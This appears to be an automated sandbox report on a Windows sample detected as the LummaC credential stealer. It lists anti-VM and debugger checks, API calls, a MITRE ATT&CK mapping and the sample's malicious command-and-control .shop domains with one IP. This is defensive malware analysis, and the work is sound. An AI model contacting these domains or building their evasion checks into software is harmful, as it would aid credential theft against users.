Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

API coverage: 1.4 %

Source: C:\Users\user\Desktop\bfINGx7hvL.exe TID: 6776

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00477BE0 FindFirstFileW,		0_2_00477BE0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00495D80 FindFirstFileW,FindClose,		0_2_00495D80

Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_b2c5d0224beae675fda7c01c57cba19d402078_0da6e983_9c4e44b6-c5e5-47b8-8186-b9802dcb5e27\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_d6c1667ab283d126154324f80fd21f5eda59e7d_0da6e983_01f5966f-efa9-4ec3-a2c8-5407a75e0685\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue	Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: bfINGx7hvL.exe, 00000000.00000003.2162737451.0000000001559000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000002.2430889211.0000000001559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!~
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: bfINGx7hvL.exe, 00000000.00000003.2162187941.00000000015A5000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000015A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

API call chain: ExitProcess graph end node

graph_0-72463

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_042A6730 LdrInitializeThunk,

0_2_042A6730

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0050E173 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_0050E173

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

0_2_0050E173

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0050E640 LoadLibraryW,GetProcAddress,VirtualAlloc,

0_2_0050E640

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7055F mov edx, dword ptr fs:[00000030h]	0_2_00F7055F
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F70B1F mov eax, dword ptr fs:[00000030h]	0_2_00F70B1F
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7116F mov eax, dword ptr fs:[00000030h]	0_2_00F7116F
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F7116E mov eax, dword ptr fs:[00000030h]	0_2_00F7116E
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00F70ECF mov eax, dword ptr fs:[00000030h]	0_2_00F70ECF

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_005068B4 GetModuleFileNameW,___crtMessageBoxW,GetStdHandle,_strlen,WriteFile,__invoke_watson,GetProcessHeap,

0_2_005068B4

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0050709C SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0050709C

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: bfINGx7hvL.exe	String found in binary or memory: surroundeocw.shop
Source: bfINGx7hvL.exe	String found in binary or memory: covvercilverow.shop
Source: bfINGx7hvL.exe	String found in binary or memory: pumpkinkwquo.shop
Source: bfINGx7hvL.exe	String found in binary or memory: abortinoiwiam.shop
Source: bfINGx7hvL.exe	String found in binary or memory: deallyharvenw.shop
Source: bfINGx7hvL.exe	String found in binary or memory: priooozekw.shop
Source: bfINGx7hvL.exe	String found in binary or memory: racedsuitreow.shop
Source: bfINGx7hvL.exe	String found in binary or memory: defenddsouneuw.shop
Source: bfINGx7hvL.exe	String found in binary or memory: candleduseiwo.shop

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_00477990 SetWindowPos,GetWindowRect,GetCursorPos,ShowCursor,ShowCursor,SetCursorPos,mouse_event,mouse_event,mouse_event,SetCursorPos,ShowCursor,SetWindowPos,SetForegroundWindow,SetFocus,

0_2_00477990

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,FileTimeToSystemTime,GetDateFormatW,GetTimeFormatW,		0_2_00485BE0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetDateFormatW,GetTimeFormatW,		0_2_00485D60

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_00414200 GetLocalTime,

0_2_00414200

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_00476750 LookupAccountNameW,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,

0_2_00476750

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_004A83C0 _memset,_memset,GetVersionExW,

0_2_004A83C0

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.4.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0040D05C RpcBindingFree,LeaveCriticalSection,	0_2_0040D05C
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0040D0B0 WaitForSingleObject,WaitForSingleObject,EnterCriticalSection,RpcBindingFree,LeaveCriticalSection,SetEvent,CloseHandle,	0_2_0040D0B0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0040CDF0 EnterCriticalSection,RpcStringBindingComposeW,RpcBindingFromStringBindingW,RpcStringFreeW,RpcEpResolveBinding,RpcStringFreeW,RpcBindingFree,RpcStringFreeW,LeaveCriticalSection,	0_2_0040CDF0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0040CEEC RpcBindingFree,RpcStringFreeW,LeaveCriticalSection,	0_2_0040CEEC
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_0040CF40 EnterCriticalSection,RpcBindingFree,LeaveCriticalSection,SetEvent,	0_2_0040CF40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	12 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Service Execution	1 Bootkit	12 Windows Service	1 DLL Side-Loading	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Process Injection	2 Virtualization/Sandbox Evasion	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Access Token Manipulation	LSA Secrets	51 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Process Injection	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Bootkit	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
bfINGx7hvL.exe	11%	ReversingLabs

Source	Detection	Scanner	Label
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
defenddsouneuw.shop	188.114.97.3	true	true	unknown
racedsuitreow.shop	unknown	unknown	true	unknown
candleduseiwo.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://defenddsouneuw.shop/api	true	unknown
covvercilverow.shop	true	unknown
pumpkinkwquo.shop	true	unknown
abortinoiwiam.shop	true	unknown
deallyharvenw.shop	true	unknown
defenddsouneuw.shop	true	unknown
priooozekw.shop	true	unknown
surroundeocw.shop	true	unknown
racedsuitreow.shop	true	unknown
candleduseiwo.shop	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
